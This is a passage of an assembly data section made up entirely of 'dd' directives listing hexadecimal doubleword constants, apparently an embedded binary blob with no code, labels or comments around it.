767E532Fh, 0B097FCEh dd 57428758h, 30ABA580h, 35E8142Bh, 102CA907h, 8520BC5Ch dd 5155E9h, 0C8807F8h, 743D6224h, 4053FE00h, 70358B77h dd 31300CEh, 0EB0D68CCh, 8D00632Ch, 8309811Bh, 657EE9h dd 0A21D03ECh, 0D0FC5F12h, 0C6A63F00h, 0EFF91708h, 46F20Bh dd 0FCF80FDh, 0B8C1D9B7h, 83F2B900h, 2743EC7h, 822F0087h dd 2757E181h, 0D900C958h, 0C13BE440h, 1F7726h, 0DD021D6Eh dd 0FA18D2CBh, 0BA965307h, 62C76F0Ah, 0EB1901D0h, 4C917A08h dd 923DC229h, 0BA754F81h, 70C71EE4h, 0AA3A97A1h, 908B80ACh dd 4BE84001h, 0F2530094h, 825A5B1h, 970E68B8h, 5E195DEDh dd 78CB0E00h, 387225Ah, 56824C75h, 539B425Bh, 724D45A8h dd 18DB7F00h, 24945A48h, 55890112h, 25E2E3AEh, 8FD040B9h dd 0C00293Bh, 97ADC65Fh, 6BC572h, 0C45B18A1h, 58A5DA88h dd 95846007h, 0FC0010C6h, 800203h, 0F3E4E938h, 11C9798h dd 0C23A8300h, 0C7405674h, 4A9300D4h, 4C35B20h, 48000D7Bh dd 0DB2A5E52h, 17A95AAh, 6F1CA5A3h, 0E8744DCEh, 0B80037D4h dd 97778AE3h, 839023h, 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h dd 4A8DCA7Fh, 70291FEEh, 9CEC0E9h, 0ADDC071Ah, 7100D9F4h dd 0AEF00CB1h, 3FF45174h, 0EE8031CBh, 8DA6C6ACh, 821D27AAh dd 14C0C3F1h, 0F5F20195h, 5C8500F6h, 0DD54029h, 9200519Dh dd 0B2523E4Bh, 3E9A776h, 29E5F810h, 0FCB8401Ch, 0ED58DBE8h dd 0D5371E65h, 89F4B841h, 3CE702F0h, 0B10FC458h, 8280A605h dd 87453D80h, 6F936400h, 6D37803h, 20050055h, 2608A11Bh dd 44006209h, 9811B34Ch, 7E750664h, 270C070Dh, 70B68DBFh dd 8CF61471h, 541A1500h, 0AC2EDC8Ah, 789005Eh, 0A96C7952h dd 44007C34h, 0E8170509h, 7AD95F7h, 804893D8h, 875C05Dh dd 141FCCD3h, 6C02CA3h, 18F7C62Dh, 1D890017h, 0F9533BA1h dd 0A6EC32CEh, 0AC21DE00h, 79E3184h, 0A8363997h, 1D803AFAh dd 74300E80h, 0B8327563h, 9D607700h, 5CD24DB3h, 580A00B9h dd 649C100Bh, 840F94A7h, 20309FAEh, 42A9A824h, 0FF011E53h dd 5780405Bh dd 6F646E69h, 734B7705h, 0C580DCAAh, 1353925h, 7FE43B7Dh dd 7E4F1219h, 60C5AFB0h, 0BD3822C8h, 0ED7FD0F6h, 4548FC7Eh dd 4D9F0031h, 4E433C69h, 33F80154h, 7542252Eh, 344E7095h dd 8057900h, 2306A32h, 58700060h, 10258050h, 4C00FCBFh dd 0C9987ECBh, 0F2C1997Fh, 36BC002Bh, 29A97B84h, 0F4F4497Ah dd 0DF535700h, 48E71CBBh, 3E79722Dh, 2E00760Ch, 95D7F2F0h dd 0B5001B7Fh, 0CAFF50D3h, 0DF7126h, 33CD9214h, 474F5455h dd 6843EC0Fh, 27A0008Ch, 1A40A9h, 7D017F2Eh, 137534F8h dd 5AD37B03h, 1E9DECh, 64ABFA10h, 34568B46h, 0BB668200h dd 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h, 5FC0EC2h, 0FE120100h dd 0A93CEF2h, 0FC064F09h, 0DB642ED6h, 5B15D803h, 0AB5CB8AFh dd 0A9441DB9h, 0C02D402Bh, 923EE92Eh, 7600F6F8h, 199BB82h dd 7A75251Ch, 4B0A0F42h, 0C200A7D4h, 447B57FCh, 0A38F6950h dd 22AF4500h, 7EDE0930h, 1AD6482Fh, 55F0AC00h, 0BF5405D4h dd 5700A975h, 4B780C73h, 4142ABh, 5B9CFCD6h, 9D5A1799h dd 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh, 0DE20004h, 61D92B4Ah dd 3100A521h, 7795CE96h, 39411317h, 1ABDAB52h, 6A986280h dd 2153CCA5h, 0AC73F000h, 0BE927D33h, 0C0AE00D5h, 0C7448D3h dd 2A000FE6h, 17D88384h, 749C53E9h, 67C40044h, 0CB21F25h dd 0A030E0Dh, 2A35EAE7h, 4C18E874h, 134B008Dh, 0FEF6CCA1h dd 85055729h, 8CBA9A3Fh, 0C951CE80h, 0B3070105h, 0F9255D02h dd 2C81DCD4h, 0A67C3D00h, 41B5A9Ch, 0B3980A34h, 1CFEB05h dd 0FC79F878h, 0B785ECBAh, 8E23443Eh, 5203A358h, 0A552200h dd 1D7E664Eh, 0C7101341h, 0B0279943h, 3CEB2806h, 0A8EA9200h dd 102B2EB0h, 1FCE7E0Dh, 0C183BE5Ah, 0A306B326h, 0C307C822h dd 81C1E72h, 9801AE3h, 0B89616E2h, 0E4B000Dh, 0D0387406h dd 0E8390AB3h, 910B0002h, 0AC7A6223h, 4DF94C57h, 42014400h dd 41920CA5h, 0B4D8BF00h, 0EB15FF60h, 111C4C28h, 855BC15Bh dd 0D7F0E089h, 0AA9C5E00h, 1254AF75h, 0A0094C0Fh, 1F1C800h dd 4FE83202h, 0FE0BA100h, 287C0A6Ah, 5E49002Fh, 92981062h dd 972F7908h, 9E74AFh, 3D024429h, 0E3B9D90h, 0EB0726EAh dd 4719CC01h, 74C0315Ah, 458A006Ah, 16033CFAh, 66002875h dd 0BA4B6EA9h, 80FFC3h, 0FA410A86h, 0F6434825h, 83D84D00h dd 8CE02E0h, 1D9A24F8h, 0BA3F0033h, 3C3B1996h, 2437B400h dd 0A0C8335Ah, 2A6400D0h, 7DA91A7Ch, 0FA904714h, 7A0C2500h dd 0CA09E13Dh, 5EA49h, 5BB9827Eh, 0FC0ADE64h, 20005077h dd 34BA8CF1h, 3A4FB80Bh, 5700D102h, 0B478BF9Ah, 0CC001E6Ch dd 33FD0FF5h, 5C6A60B9h, 0BA008F01h, 94157C57h, 17780A87h dd 0F2009077h, 1252988Eh, 9C2C39h, 0FE3ED711h, 0F7934ACBh dd 0B220400h, 64F840BFh, 0FD820375h, 9C917F70h, 533E2F90h dd 74739F00h, 435C6D81h, 0C7720075h, 0EBD46EBBh, 0CF0FACE8h dd 0E0947E53h, 3529DE0Bh, 0AE4F0793h, 0C073EFE4h, 495750B4h dd 4A4E7100h, 53D83854h, 52450F1Bh, 26410656h, 0E84CEC3Ch dd 4D7A4E41h, 0AF284B00h, 0FF2E102Dh, 1AEE224h, 308298E9h dd 0C83A41B0h, 4799B0Dh, 407F7700h, 3D0F0B76h, 0E13F0087h dd 0D3852489h, 0EC00D257h, 0AF640345h, 481B08h, 224B9133h dd 0C87B4363h, 0E178AE78h, 0B2F63Ah, 11E40D27h, 0F15E084h dd 0E93520FBh, 155A040h, 8300F818h, 8A0EF3E1h, 3E7630ECh dd 0B207F053h, 709217F4h, 0F8347B59h, 0DF031E74h, 6552AC29h dd 0EFF38812h, 6BC003F2h, 3BC5600Eh, 649D9298h, 0F00767E2h dd 4654FC08h, 8E31E250h, 65F27Eh, 0A11CEBD8h, 4E1F0415h dd 4FC4B803h, 0B937036Ch, 6E30F9B0h, 2B130091h, 21BF5DE7h dd 9C009744h, 61C8427h, 806477h, 0C3695399h, 226F0991h dd 8B447D1Eh, 12A789C0h, 0C82CB5h, 0ED46BBAh, 5B9FEDD9h dd 0A21D3700h, 0E0D5E230h, 0FE86000Ch, 0F80EFF54h, 8A1D1CA7h dd 71C0B110h, 40231B28h, 6F9B014Ah, 57B42C33h, 6B72D813h dd 61A20900h, 74797D92h, 9F833E49h, 64F7600h, 41B10CBCh dd 61FC6400h, 65633B6Eh, 19200029h, 503CDEA7h, 0E4FF6D6Fh dd 64004515h, 0B84F3D69h, 0D0E4ACh, 736566D3h, 612D8AE3h dd 0C4186C00h, 0CE444D11h, 8E3A03CBh, 4A86EA6Eh, 0BBB8BEB8h dd 0B926A501h, 9CB2128Bh, 0B864CBE3h, 90940975h, 0E2320AF1h dd 7CDCDE5h, 20BB3976h, 0B70F4540h, 975C5D24h, 18218039h dd 0BAA728B9h, 72EB003Ch, 99D7841Dh, 931E0E12h, 4F81348Dh dd 1A49BEA2h, 55817C4h, 0DB849B0Fh, 0B9C7C093h, 99002F64h dd 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h, 9ECBF373h, 0F3984408h dd 8E53143Ah, 48DD56h, 2A88FC95h, 3C5C4887h, 45542100h dd 0F509764Dh, 4F26B600h, 8FEED912h, 0C21000C0h, 9FA1A4B2h dd 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h, 0F0B05457h, 0B534C627h dd 9A9800D8h, 0C91A8F7Eh, 79FF3600h, 0D35DF2E9h, 530B018Ch dd 974C4450h, 0F07D21D5h, 2201B964h, 0F47BB41Bh, 25E0FB16h dd 0C6940088h, 8018829Dh, 757BFE3Bh, 2636DE07h, 731510C1h dd 8D0874C1h, 0FA8CC870h, 94F7FA3h, 0A804BCEh, 0F00988Eh dd 4388C094h, 4E750161h, 57D874D3h, 0ABC300AEh, 0AB06933h dd 5C1D5116h, 0B840A7F2h, 3B534108h, 387D0130h, 9D4AC2F4h dd 72CAF407h, 8F8D0C02h, 0E0DEC312h, 74F8DA2Dh, 856F0EDCh dd 0B12BD3Ch, 5DFEADh, 42409723h, 31C2008Ah, 0EB18F98Bh dd 270F3A10h, 0C0097221h, 805703D5h, 75B907FAh, 90B389BBh dd 9C159C7h, 0D4310F00h, 1398C44Ch, 3047D83h, 5570C09Bh dd 0D0E70EC8h, 12BC62B8h, 0CAD95200h, 1005DC46h, 0B08C00D8h dd 1FA4D030h, 6726D443h, 0F601AF27h, 834807E8h, 24A814F0h dd 3D7538Dh, 0F719B752h, 0C01BD890h, 38840800h, 2761012h dd 56E90009h, 33557EA5h, 6E1C8B78h, 5DC08F92h, 0E805D0D6h dd 0B94800AFh, 0A124B767h, 0F500E9BAh, 18EC0C99h, 12A95A8h dd 0AC0E495Fh, 0D8727D81h, 0FD007F63h, 480FDF05h, 2EA4BF17h dd 70A42E5h, 30EB3014h, 8CB8E88Ah, 9C472C3Fh, 9BC03BE6h dd 66AB55Fh, 0C455008Bh, 24A7FA5Ah, 787BF1E9h, 0E1723200h dd 0EA103D17h, 3484C0E6h, 0E52DF454h, 1A8C2114h, 0BC08009Dh dd 3D3AD490h, 0A4B10382h, 65DF7201h, 0C76ABDE8h, 0DC67F00h dd 0A550F246h, 16A60081h, 7322E2E6h, 7C3BCCB8h, 821B812Bh dd 8FD42F5Dh, 0E8D8E0E9h, 0F202131Eh, 0A0A30109h, 0FC799286h dd 200012E1h, 6DDFA418h, 7A5699F1h, 429800E0h, 10F9C0Eh dd 8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h, 33C076E4h, 0D040B45Dh dd 0D4961900h, 6138A03h, 0BEF93C48h, 944E6F80h, 2C77B540h dd 0DC752000h, 0D7E5F303h, 7D8324C0h, 740F00DBh, 8EC8A38Ch dd 703D155Ch, 48D3F00h, 99C62B5Bh, 0C2750033h, 32F546E5h dd 97008F22h, 2CC86692h, 3D81D140h, 9183D80Ch, 4B0A5B6Bh dd 4CB8490h, 1941CA00h, 8345A0EAh, 0B4B80A62h, 81AE1Eh dd 6461C8BCh, 0DC009877h, 0CDC003EDh, 6280F0h, 31E075EEh dd 7C7E06FAh, 3EE66D58h, 30AA0044h, 8D985EE6h, 18890235h dd 5808050Bh, 810972C0h, 0DB033Fh, 8F8B9B1Ch, 4BC32Bh dd 2A299671h, 621A40FFh, 50845500h, 0D009A40Ch, 4CE208h dd 2F58E830h, 71B64F69h, 0CAB03C00h, 20C463E9h, 94BC2441h dd 0F61E3Ah, 8B28BB3Ah dd 48010537h, 2C438319h, 42301221h, 14660030h, 16BE8B50h dd 0FE00344Ah, 7B80DE02h, 0D6C103h, 0F2B0576Eh, 0EA52BA68h dd 5900D5ECh, 0F84E8D6Dh, 6C0394Ah, 7705F980h, 49FAFC51h dd 1904DAFAh, 1708B710h, 29C01E87h, 0B8913248h, 89560009h dd 33EB684Bh, 7A1CC72Bh, 6E407980h, 1081322h, 88191D90h dd 1E101D02h, 3E071E04h, 0CEF62780h, 0DE89F1Bh, 850F240Bh dd 8A3980CCh, 73E43h, 1D74052Ch, 4F83C8FEh, 0F50EE3Ah dd 0D488FA08h, 842E00BCh, 0AAEDE93Fh, 6ABB00BDh, 0F81C904Ch dd 87000FC6h, 369C37B7h, 48F38918h, 8009939h, 0C8C111ADh dd 8E00D509h, 14550E9h, 0FA1833FDh, 25F822h, 367B8D05h dd 0EB1354BEh, 5C9DA30Fh, 17E980C3h, 14801ABh, 425E8414h dd 0EDE4F2B4h, 5CBCE488h, 74F244F2h, 5026A9F2h, 57038171h dd 0B80B20EDh, 3E548602h, 6583C976h, 37A608BAh, 0CEE4B898h dd 0B9364404h, 1380810Ch, 7614868Ah, 5D450349h, 97D45942h dd 0BDA400F5h, 93208BF1h, 0E807CC98h, 2D121AD3h, 864814C0h dd 0A9910077h, 0EB2A8A3Bh, 11012C3Ch, 1408F534h, 68F85F64h dd 1B3B0178h, 0BE0A0960h, 5310601Dh, 0E200287Fh, 4A4B9734h dd 9C5A7h, 91160722h, 0D40B944Fh, 0ED145Ch, 136DA48Fh dd 0E274067Ch, 4409000Eh, 3E882E1Eh, 500056EBh, 0B7C4A28Ch dd 33C6A65h, 0D689AFF7h, 0E6A01499h, 6300ACD9h, 4D4BFCB8h dd 0BADCFFh, 0B2365C43h, 0EB2B5A20h, 7CD7F07h, 47332C0Ah dd 81069017h, 1D3A9024h, 4014C95Fh, 0E57C115Dh, 4C00210Eh dd 3BF23C10h, 264B22BCh, 19142Ah, 74D807C8h, 900785BEh dd 68B2A4F0h, 0E6BB4160h, 9FB0000Ah, 0BCB95D09h, 0C3004916h dd 25856C03h, 0C4001h, 36383420h, 0B6587644h, 630011ECh dd 0B5C2EF75h, 14302B01h, 0ECFA5390h, 2E0F323Ch, 0FD660D4h dd 80BDCAE7h, 7257865Fh, 2DE06269h, 63614200h, 6E45206Bh dd 3568005Eh, 56A47A57h, 3400291Ch, 505B7660h, 695D03h dd 2F856D75h, 0D4309401h, 535E3Ah, 0C2E349BCh, 436517h dd 0B6B2BE1Ch, 6D90B56Eh, 58007298h, 307053EFh, 3B314BADh dd 3752DA5h, 0DCAFB590h, 11905098h, 4D002809h, 8C27646Fh dd 295525h, 0A534482Ch, 0CD9AFAD8h, 6B019D07h, 5070AC53h dd 0FC75DEh, 6AD25930h, 4264A128h, 8B83BF12h, 1978E000h dd 760A464Eh, 0A7091DE5h, 0A87C4027h, 0F67E704Fh, 804A0200h dd 0CC5B89FCh, 8A787Dh, 0E0B9C45Eh, 0E3820A73h, 582F262Eh dd 58BED000h, 210F37Eh, 69E0BF80h, 8DD4468Ah, 0A074020Eh dd 50137D09h, 0B01E005Ch, 114B9487h, 0E43AE021h, 0C010003Ah dd 0B4292E0Eh, 0DBC307E5h, 0B0481732h, 0BB46B33Ch, 6B00E2F0h dd 5AA2F9BFh, 49655Fh, 479430Bh, 4CCA7831h, 2000E698h dd 76324D58h, 0EE476113h, 957C002Eh, 0D8363930h, 1B776ACDh dd 0B60017B8h, 4A53E8Eh, 584D5Ah, 5E2D48Fh, 93D30A29h dd 0BF00CB7Ah, 0C1901512h, 7850B346h, 9443072Ch, 117ABC49h dd 0C0F78498h, 3000540h, 8788021h, 0E8F0110h, 0EAA90750h dd 0FE09BBC1h, 0E9D260CAh, 0B1793113h, 2078E700h, 3E429C7Ah dd 8880C6C1h, 0C0219829h, 832E084Eh, 2D00F9FAh, 2E10BD87h dd 40B73F95h, 96DFA6h, 5B0799F3h, 6DEE9118h, 3AEA29F4h dd 454CB190h, 0CC51007Bh, 0FC14A13Eh, 2CC41C0Bh, 50EB80C2h dd 875C1175h, 88649002h, 0E353798Ch, 42123C7Eh, 31BCECBCh dd 0C3431C8Fh, 4C442000h, 84790F3Ch, 18937C0Eh, 804D4F22h dd 896F5C91h, 0B440016Dh, 290E5228h, 7972E820h, 22351803h dd 0B985ADF4h, 8AE04B2Dh, 302C0ED4h, 0DC60A9D3h, 32FC3143h dd 33F98700h, 0F124E50Bh, 0F57C03CBh, 0A7133026h, 0C13B7B98h dd 32A9201Eh, 3342F680h, 3955E8h, 6F1D6B6Eh, 71205B77h dd 0F43AA702h, 0C075304Ah, 76968CBh, 587F8470h, 0C3E4435Ch dd 6007E8C3h, 0EC100146h, 6404B290h, 0F0F251h, 725411D8h dd 736E6103h, 74656D00h, 437C19B6h, 775727Bh, 0DC34916Fh dd 54CC429Dh, 8AABD540h, 320B9501h, 5C19580Ch, 0F8EB60D1h dd 984662A5h, 0C627018Eh, 86774B85h, 2370E80Eh, 72116F01h dd 75C47488h, 0F2C7E0h, 3641378h, 45287C14h, 780521Fh dd 0DC008496h, 0E8C0C68Fh, 570400ABh, 32517353h, 76765652h dd 0FAB32F04h, 218068DBh, 1624884h, 17A915Dh, 0EC18203Ah dd 0FC1C89A2h, 3C5FA468h, 559F8CC0h, 4D0390h, 0C87D8194h dd 716E6547h, 1B6F7500h, 1E69EF12h, 90493B9Eh, 0AF942785h dd 70FE808Dh, 331F8471h, 41C069EBh, 0D6874F9h, 94101C38h dd 0A3634724h, 30451ABh, 9152E4EBh, 3C755803h, 90784989h dd 772D5C0Fh, 8E8F0733h, 102A6461h, 0EB024124h, 8248110Eh dd 0F8832080h, 9565095h, 0B657E90Eh, 0A524807Dh, 0D0FDC2h dd 9CBD2A2Fh, 8C463F4Fh, 1A029100h, 0B0ACB878h, 0F2957622h dd 0E85D0088h, 0DD27771Fh, 0C1007B69h, 873DF441h, 50D3622h dd 3E25C889h, 4B8C042h, 0F03F6373h, 80C3BB84h, 0E0833074h dd 88480Fh, 0D9E5D553h, 0B1AB39CAh, 1AB2E90Eh, 0ED9B432Ch dd 0A41FB022h, 2F3077Fh, 30B62A12h, 1A93867h, 59510A0Fh dd 658FA0B8h, 1C1745FEh, 7F06BD80h, 5FC1759Eh, 40A21D66h dd 5121DD84h, 43008D8Ah, 2B52A19h, 0CB7516h, 69307659h dd 80E06704h, 0E9E46D00h, 4CD2AA13h, 0DBA41F7Eh, 0B39002Ah dd 0B0A5DACFh, 0F9708A00h, 0C114EE6Ah, 557097D5h, 0E53E901Dh dd 8F079C5Dh, 5480A808h, 282993h, 915BA5A7h, 45A9664Ah dd 5D00067Ah, 0AA4085A6h, 4B829AEh, 2B641F03h, 0B6AB8072h dd 0BEE8BA08h, 0C3CDCFBh, 0C2408E03h, 83CA81C6h, 8705E0CEh dd 18ED009Ah, 4C331E45h, 48000666h, 10EBC1F6h, 18F44E0Fh dd 0AECF25AAh, 4301B738h, 1E3F7EA1h, 0E1D08A11h, 30AEE96h dd 5A607CB1h, 45A8C5EAh, 157AE66Bh, 0ACE22A1Fh, 0DE0F5280h dd 16ABA8D2h, 35EEC80h, 5B7A592Ah, 19CD58A8h, 8C55D800h dd 0E89F51B9h, 0B7280016h, 5CBA0B4Eh, 4801FBC9h, 1B8D108Bh dd 0A6D8E974h, 0FC7540h, 0AD9B914h, 354A5C20h, 44008874h dd 73102B74h, 7658B2AEh, 0BC30E717h, 1C0D0059h, 0EBB0404Bh dd 1A075E65h, 21322A54h, 0ACA41040h, 0B34500A7h, 0B4114E6Ch dd 98F019C9h, 9C3040BDh, 1E5700B6h, 8C3DA1BCh, 0C000BEA0h dd 7D258D13h, 73B30A2h, 0B5F8FB8Bh, 0C0FA67A3h, 22C33657h dd 0D2C94D00h, 8CBFECFh, 17AB0082h, 0EA34DC5Dh, 87002C45h dd 597E294Bh, 1184A1Bh, 0BA9444CBh, 0F732B937h, 78921207h dd 6E9473E4h, 3582CA09h, 0B1404D54h, 30FD3896h, 285C0CFCh dd 83090115h, 5054A4C4h, 0FECB59C4h, 0B08D0016h, 0BA2DC935h dd 7E0EEE24h, 0C0501FCFh, 0A016484Fh, 5EA30096h, 8771D7D4h dd 0D87E85F4h, 1CDC0800h, 0B1569FA2h, 869400E4h, 0D3FB1F55h dd 0E800951Ah, 0C8DC633Fh, 1100B26h, 3D801499h, 2AE15B18h dd 0A4EFB0h, 98CE92BFh, 7E591277h, 0B409C401h, 25A656A3h dd 0F26AC9CCh, 0C8CD002Fh, 8821AF1Ch, 191ECA9Bh, 99C0A543h dd 0DF09D611h, 0BEE85C10h, 0F101330Fh, 3BFFA6Eh, 221A390Ah dd 0F8442AA9h, 0EB00883Ch, 5C61976h, 2601E7A0h, 0FA96DE5h dd 4321DFA4h, 0D15B20A8h, 0E152D1ACh, 4249E0B0h, 0E65B800h dd 391048BCh, 0CC00059h, 0C4908529h, 156719C8h, 54F02006h dd 722CCh, 3209D081h dd 0CB60C41Bh, 4F2EAA00h, 0AB4E104Dh, 4BDC0FDEh, 0FF0FB0E6h dd 3B00E2EBh, 65AC82EDh, 923B5F00h, 0FC0A7185h, 0D27E9564h dd 0F02CF406h, 0B7EC0076h, 0DFFE3862h, 6A3E4307h, 0E432005Bh dd 0DDE01472h, 42120045h, 2934CC06h, 1EE42D83h, 5C1A0102h dd 0E0406F2Ch, 0B0A26E1Ch, 0C5CC00C3h, 0ED540C51h, 0E7A9333h dd 8DA56600h, 9D35EF40h, 14EEAE8h, 8FDDCEEAh, 0D4C709D2h dd 0C60FE099h, 0E02AB67Ah, 0D62B49AEh, 2F580051h, 3DC255D0h dd 11DBD03h, 0DC005C77h, 64BCD3B7h, 0F9532610h, 80FD0001h dd 870D048Fh, 0BF2A9E03h, 0A04FA86Bh, 0AC6865h, 40C683D1h dd 0B0F8608h, 1448C0EEh, 0A5AD0063h, 642D24FBh, 580203F5h dd 76DB850Ch, 21C144C0h, 4BCD8600h, 0BC7C247Fh, 0EF07A4Ah dd 56107005h, 3D0C36E3h, 0DF5144D8h, 6E297A00h, 8833022Bh dd 75080042h, 1643C394h, 0E047953h, 122147E8h, 7F90B6C0h dd 519800A2h, 2E1E25E2h, 8000F6F0h, 0DD3C7869h, 1D2A38D2h dd 55204h, 0C981D868h, 7E0010B4h, 0BFEB6582h, 3BB0925h dd 4B594CE0h, 56A8F05Ah, 72006116h, 48ADF846h, 2D9F7Bh dd 4BE70193h, 0D7A7D4FBh, 7906C3Eh, 0E46EF854h, 0DDEBBD51h dd 703AC70h, 44BCCCF7h, 78E6304Bh, 11007F6Fh, 64DFCEE9h dd 731724B4h, 886A0758h, 0D06023D6h, 0C4709472h, 0BE27D21Fh dd 68950C0h, 4F0CAEh, 2F22F114h, 244EC8DDh, 0E4082112h dd 8C6C8000h, 2CFEF084h, 0CAEE65h, 1625DCF4h, 3400AA11h dd 6A9488F3h, 0ABCF4Fh, 54801B6Ch, 7765AD7Bh, 31C56800h dd 2C59958Dh, 57EF1DB0h, 6B5C7F1h, 0F79CF70Dh, 12AFA14Eh dd 0EBD0DC69h, 3A294100h, 8D8263BCh, 0F87885h, 1975809Ah dd 92D2FCF4h, 0D1411300h, 0FEEC5D43h, 9DD000E4h, 5F0B0879h dd 50E41E5Bh, 856D7100h, 0F7659784h, 1294004Ah, 2224CA1Dh dd 5C0B0810h, 80727453h, 0A5AB2D16h, 0ED750027h, 6918A4E4h dd 0C0008906h, 0A7BBA8A9h, 4A82BEh, 30145D0Dh, 6D6F431Ch dd 34876500h, 712C0A73h, 880B39ECh, 0C170C400h, 0D34E7909h dd 8064523Fh, 2BD01884h, 0BA40F22h, 28447291h, 4C9D7B80h dd 0D30E3770h, 0E0D8A5BBh, 25876C33h, 927900DEh, 12633018h dd 0C848D48Bh, 0ACBC00F4h, 178DB6C4h, 0E031FAC2h, 0ECB2002Fh dd 69540BCAh, 0EA0F4556h, 24985980h, 0A2800C89h, 0B87212h dd 56AD536Ch, 30C88ADCh, 0E445400h, 6765354Ch, 0E109005Ah dd 0C95BC370h, 4B017468h, 0E0F82930h, 27D8ABF2h, 87640018h dd 6BC58E6Dh, 0C8F72873h, 0B200D142h, 0B14F2610h, 9055E5h dd 947AC427h, 814475Ah, 0D6D18001h, 0EA25F46h, 6016CCh dd 295CC595h, 2EB06488h, 90E34B16h, 0DCC47F00h, 7C44D148h dd 0ABF07EDh, 40B36965h, 12B47542h, 806C643Fh, 30D2520Ch dd 72EB8F6h, 14257669h, 8B59165h, 24FC4E0h, 16B0F5Ch, 4E7685Fh dd 0D7F8D4C6h, 31A1866h, 88104619h, 0C8064301h, 1890141Bh dd 2E9104E0h, 73A381Ch, 50AE961Ah, 0D27CB865h, 29339F00h dd 13AB9C4Ah, 1038000Fh, 2E642B25h, 14F02703h, 87D2AD00h dd 53588011h, 0FB478B1h, 2190DF3Eh, 5CC0A74Eh, 3181779Dh dd 0F80BF0BFh, 79E107D9h, 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch dd 0EDBBC044h, 588AD620h, 0D3004703h, 0D501B5A7h, 0B8008302h dd 0AE3D4FFBh, 0FA34D4h, 0E2C87232h, 0C9128937h, 8CB7D901h dd 0F188A18Bh, 5562D0h, 9C01451Bh, 0D35B279Fh, 80FB1D3Ah dd 504108D1h, 32A5251h, 0EB1069ECh, 588864C2h, 3C00B3EAh dd 5E575684h, 38A473h, 0C29887E9h, 145A52E6h, 369FB40Eh dd 0BF2B0Fh, 8E1F3EACh, 471000Bh, 0FD27CCFEh, 5F01AF12h dd 38EA1CD1h, 0C0D44754h, 34560039h, 0FF3A3374h, 811ECC76h dd 470EC322h, 0BA805D4Ch, 809044Dh, 3C0F0370h, 6F7788B1h dd 298BB6B8h, 69DE7503h, 0FA99554Bh, 3654E00Ch, 2B4300AFh dd 0A5D4459Fh, 0AD010576h, 1912BEF4h, 0F0D0A2E2h, 15261D90h dd 8043DE0Eh, 0C1695D8Ch, 2A019402h, 0EC881CF4h, 9630F0CEh dd 0F03B7D8Eh, 0C0E0047h, 7E2146D2h, 0A1ED4A7h, 5000D76Ch dd 0DEC8D5A6h, 0D9A50077h, 0CEB62A4h, 3F002171h, 1711DBA7h dd 686C6Ah, 74D83BC0h, 0AECB8316h, 0A6F70400h, 4512A028h dd 0C26A00F0h, 4FDF77E3h, 290024ABh, 48165D4Bh, 0B00C06C3h dd 0CE090C9Ch, 66B23908h, 0D7CA890Eh, 907A8085h, 0FF0AA6h dd 1184872h, 6CC1EBCEh, 595C2300h, 0E26A90E5h, 3A8100A0h dd 2E1977D0h, 6F009B89h, 4B2BC48Ch, 88FBC2h, 0B483075Bh dd 0FFB09281h, 0EE604504h, 5700CC17h, 5882FEE9h, 58474048h dd 2E10033h, 0C1F5FA2Ch, 6B5E0175h, 0A0F168D8h, 2D6320C4h dd 0DCA13C00h, 1F061CE3h, 7EBD0043h, 4194D48h, 0FA008001h dd 5302BB05h, 3C32EBh, 9D2CAF41h, 27450618h, 82206A60h dd 7A28AFEh, 4C50FF5h, 0C7838088h, 541F4802h, 95C0CF43h dd 13C144Dh, 0D9495C30h, 34D9AA00h, 8448E36Bh, 3DC93200h dd 0B95E882Fh, 12760391h, 3B7421BAh, 72FC3AF0h, 6A838C00h dd 0C7F2F449h, 0B2900010h, 30393DD6h, 96007370h, 0BFC28BD2h dd 0E698FEh, 0C6126CF4h, 5D4A2404h, 935B801h, 3B5564BAh dd 0E0FCADF5h, 0FE840042h, 0F3C07489h, 0B405ED33h, 5F77087Eh dd 0E681C280h, 0FE103B8Ch, 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h dd 47174A00h, 0E388559Fh, 0B19011h, 8BA71F0Dh, 8577F8BAh dd 81A09E4Ah, 115F00D0h, 0C53B2BF1h, 2C022452h, 0FF6AE477h dd 0B6D5E054h, 0B9D400DBh, 86E7226Ch, 7E7D7428h, 52897F05h dd 0BE0092ADh, 1D8D70EBh, 661A1D98h, 850580D6h, 28215346h dd 4D75E207h, 40903E9Ch, 6132CBh, 6F881931h, 0E655697h dd 6AE91F05h, 0D60E03AEh, 0C622E005h, 0AB2550h, 121DA511h dd 0AF0A5406h, 1244C00h, 77714FDh, 68FE6303h, 5E05B8Ah dd 5F3B5D62h, 0A25A03B3h, 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h dd 4E7FDED9h, 10F688EFh, 41CC2000h, 22496F5Bh, 196A00D8h dd 92F53942h, 54015DE7h, 0C0A38C1Bh, 0A5EC452Dh, 18D4011Ah dd 64F3CF3Fh, 0B8F0D860h, 0C4DA1400h, 5309FF65h, 5AEE0Fh dd 0AA2BBB25h, 0A4290532h, 44EC3700h, 8DBABF9Bh, 0AC3F00FEh dd 6E0FD4C7h, 5800EF32h, 19F7EAA7h, 0F8BD7076h, 223B00D7h dd 2C683603h, 2E008D66h, 0C74543E4h, 0EA8271h, 7802F45Fh dd 33CAE055h, 0BD49F300h, 30AE2040h, 17DC0053h, 0E251606Fh dd 230722D8h, 68D413C0h, 0DEE7A627h, 0D0C4A3E0h, 6F730348h dd 9BCCA251h, 8FE87AEBh, 763BC812h, 1AF50710h, 0B7D7C429h dd 0C0F1A8D1h, 0C81BD3FCh, 0B8C0BC4Eh, 77C1D05Fh, 0B4451F9Eh dd 1E42B036h, 4303B022h, 148D7A37h, 0E8DBE3ACh, 3EA878D4h dd 1FF49C8Bh, 5F4DA4D1h, 884740BDh, 0DEB790A0h, 0C19C4CC8h dd 12E74398h, 0A5691094h, 0F75C2C00h, 84DA04D8h, 12EEFE4Eh dd 7BFD5C4h, 943DA9ACh, 61BBC007h, 40004E70h, 2571626Bh dd 3B691C65h, 0FF007775h, 57ADCC67h, 0BC002C9Eh, 0DAE74272h dd 0C34316h, 0EB22354Eh, 1D6CD5CCh, 13D895h, 3768B8B9h dd 0C5648DBh, 0D8BD0B00h, 41FA4E4h, 5FE800D6h, 0E3FE0146h dd 0E2F4297Eh, 0F44D6200h, 17B11E9Ch, 